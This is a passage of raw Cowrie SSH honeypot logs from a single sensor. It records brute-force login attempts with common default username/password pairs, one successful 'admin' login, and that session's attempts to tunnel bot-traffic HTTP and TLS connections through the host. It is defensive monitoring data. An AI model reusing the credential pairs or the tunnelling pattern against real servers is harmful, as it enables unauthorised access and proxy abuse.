16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:26.506584Z","src_ip":"91.92.40.36","session":"210f27f48a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:26.704430Z","src_ip":"91.92.40.36","session":"596682675bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44230,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed10179716ff","protocol":"ssh","message":"New connection: 91.92.40.36:44230 (159.203.135.109:22) [session: ed10179716ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:32.423085Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdasd","message":"login attempt [ubuntu/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:32.427261Z","src_ip":"91.92.40.36","session":"0936c278c570","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:35.001356Z","src_ip":"91.92.40.36","session":"ed10179716ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:35.004928Z","src_ip":"91.92.40.36","session":"ed10179716ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:36.814655Z","src_ip":"91.92.40.36","session":"0936c278c570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2021","message":"login attempt [ubuntu/ubuntu@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:38.783776Z","src_ip":"91.92.40.36","session":"210f27f48a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34730,"dst_ip":"159.203.135.109","dst_port":22,"session":"874b244f44b0","protocol":"ssh","message":"New connection: 91.92.40.36:34730 (159.203.135.109:22) [session: 874b244f44b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:40.025307Z"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:42.023703Z","src_ip":"91.92.40.36","session":"210f27f48a61","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:42.613126Z","src_ip":"91.92.40.36","session":"874b244f44b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:42.617318Z","src_ip":"91.92.40.36","session":"874b244f44b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"54321","message":"login attempt [ftpuser/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:46.314625Z","src_ip":"91.92.40.36","session":"ed10179716ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22432,"dst_ip":"159.203.135.109","dst_port":22,"session":"520addc6d6f7","protocol":"ssh","message":"New connection: 91.92.40.36:22432 (159.203.135.109:22) [session: 520addc6d6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:46.554258Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:48.763413Z","src_ip":"14.103.113.53","session":"9efbb47ee882","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:49.844471Z","src_ip":"91.92.40.36","session":"520addc6d6f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:49.847943Z","src_ip":"91.92.40.36","session":"520addc6d6f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:50.816440Z","src_ip":"91.92.40.36","session":"ed10179716ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"123456","message":"login attempt [testing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:54.836548Z","src_ip":"91.92.40.36","session":"874b244f44b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62192,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d7f88d81dc","protocol":"ssh","message":"New connection: 123.27.168.40:62192 (10.17.0.5:22) [session: a4d7f88d81dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:56.813195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:56.817636Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45870,"dst_ip":"159.203.135.109","dst_port":22,"session":"071a99ac2fbf","protocol":"ssh","message":"New connection: 91.92.40.36:45870 (159.203.135.109:22) [session: 071a99ac2fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:56.996124Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:57.149717Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:58.514762Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.6","message":"Connection lost after 18.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:58.663050Z","src_ip":"91.92.40.36","session":"874b244f44b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:58.948484Z","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.130041Z","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.181108Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XjNlM1gyOVUhWWlCfigzZw%3D%3DFbUotH26kpiezxCw44Af9HTdx4YVkMAaP5%2BGY%2BFjK9P76csCbfmH4mMflPlrTv6UYn18IJgCZLvR8dCUC7DjyL3oTc8M7cUnTY9a9dqKJjRe3Qe6zNzz%2BfUmqRrrbZMqwEW2yKA1gXk1gf6Nug0bAg7hUXXzHm4O5WeBat5qGC3yepCayAlzzQUndkfvJ%2BgO7Os3ORSBFrxK3P66cvJ%2F7Ik2J6CYMjHmjYnBs7LKhgEWq769FXSlfhCFyuR23rSjPeij1%2F687jSH209OR2h84AYnN7%2FcaGHRXad4K8aKCFYgjnkPSzDQLeRBOuhYlR%2B6%2Fu16CUNemVVRANGVVYYW1IVv4NUuDt1onZmqQcTI8qitsQ5A7XFCRQtqVNtuCKMVnn6yaYP0pDU3s19sJNJ3joeRwYApv6yV1OhQ22bJgx2aGz4AJYlX5nlktued8foKjaUp0w9W4gORXNHdUPOhbQbH8uEI3lHjndqFHxAv2fF%2B5wac3R1RkJMfLjvf%2B%2FPNOad89UaIDlrmtcUhcHVa9HwHkbXm7VvHuHwSx%2BAmRtEWrL7jf3XNaUfEVj3qnIgXldL8uzqH4VOoZO8t1ev2FzNAwyJSVoYJ9Mgcs4U%2FT6peaPxTYpDELOzrFSgL8%2FLGQ8H1%2BWBjIGnyq7zZPLtCJrtbYGaP2qey3sC7xI48oy%2BSNQSCAuSpm2WlysVvwiuAE5tvgzQJ2u%2FVHoaLnR2XRQgdZASf4gcNydmq2PVsCMusuHog1hxEDJrbuOMXnFLgUFjO2ZXkhoF8DS8MOPlcXCiBbSImVBd21sc2C9LlFK2j3R99puJz2NjIMVeZC1ED2dn4KYcc4jHTXzS4YYJAFWHroVgi%2FpWzbhioWKDB22gYF00vPV%2F%2BtENgM7PRGbDK6zJjdsxnkpROkLDffGi6EoCR1fjMvi47J6n3%2FbyaQlmyPqiSvx4yrKR1abg99f9zuHfdug7jYPp9P0UAhJuTfSDTVKR1yBRkJiFDPwNtZErBmoiewUxwhZHMkqGxwziAl%2BVVQFFlsTUjxEIAtA%2B1Kc42iOubTUULgxK59HR%2B33A%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XjNlM1gyOVUhWWlCfigzZw%3D%3DFbUotH26kpiezxCw44Af9HTdx4YVkMAaP5%2BGY%2BFjK9P76csCbfmH4mMflPlrTv6UYn18IJgCZLvR8dCUC7DjyL3oTc8M7cUnTY9a9dqKJjRe3Qe6zNzz%2BfUmqRrrbZMqwEW2yKA1gXk1gf6Nug0bAg7hUXXzHm4O5WeBat5qGC3yepCayAlzzQUndkfvJ%2BgO7Os3ORSBFrxK3P66cvJ%2F7Ik2J6CYMjHmjYnBs7LKhgEWq769FXSlfhCFyuR23rSjPeij1%2F687jSH209OR2h84AYnN7%2FcaGHRXad4K8aKCFYgjnkPSzDQLeRBOuhYlR%2B6%2Fu16CUNemVVRANGVVYYW1IVv4NUuDt1onZmqQcTI8qitsQ5A7XFCRQtqVNtuCKMVnn6yaYP0pDU3s19sJNJ3joeRwYApv6yV1OhQ22bJgx2aGz4AJYlX5nlktued8foKjaUp0w9W4gORXNHdUPOhbQbH8uEI3lHjndqFHxAv2fF%2B5wac3R1RkJMfLjvf%2B%2FPNOad89UaIDlrmtcUhcHVa9HwHkbXm7VvHuHwSx%2BAmRtEWrL7jf3XNaUfEVj3qnIgXldL8uzqH4VOoZO8t1ev2FzNAwyJSVoYJ9Mgcs4U%2FT6peaPxTYpDELOzrFSgL8%2FLGQ8H1%2BWBjIGnyq7zZPLtCJrtbYGaP2qey3sC7xI48oy%2BSNQSCAuSpm2WlysVvwiuAE5tvgzQJ2u%2FVHoaLnR2XRQgdZASf4gcNydmq2PVsCMusuHog1hxEDJrbuOMXnFLgUFjO2ZXkhoF8DS8MOPlcXCiBbSImVBd21sc2C9LlFK2j3R99puJz2NjIMVeZC1ED2dn4KYcc4jHTXzS4YYJAFWHroVgi%2FpWzbhioWKDB22gYF00vPV%2F%2BtENgM7PRGbDK6zJjdsxnkpROkLDffGi6EoCR1fjMvi47J6n3%2FbyaQlmyPqiSvx4yrKR1abg99f9zuHfdug7jYPp9P0UAhJuTfSDTVKR1yBRkJiFDPwNtZErBmoiewUxwhZHMkqGxwziAl%2BVVQFFlsTUjxEIAtA%2B1Kc42iOubTUULgxK59HR%2B33A%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.183994Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.230751Z","src_ip":"91.92.40.36","session":"071a99ac2fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.233842Z","src_ip":"91.92.40.36","session":"071a99ac2fbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:59.407042Z","src_ip":"123.27.168.40","session":"a4d7f88d81dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xa4F\\xbe\\xf8C\\x88\\xef0\\x01\\xe90@vH\\x05f\\xd0#\\xeb\\xbe\\xe5\\x0c\\xa4\\x01X\\xa8\\x94\\xfbC\\xedR s\\x1be\\xf9\\x12\\xc5/\\x85\\xf7(\\x06\\xc3CO\\x1cetY\\xf7\\xb2r\\x98g\\xcf\\xb4\\x01\\x85\\xa3\\xd4Q\\xe7\\x15\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xfb0Q>L\\x8e\\xb4?\\x9e.!\\x1arSf\\xb3\\xcf2\\xeb\\x11\\xa1@\\xfa\\xccDNs\\x14\\x1f@Y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data 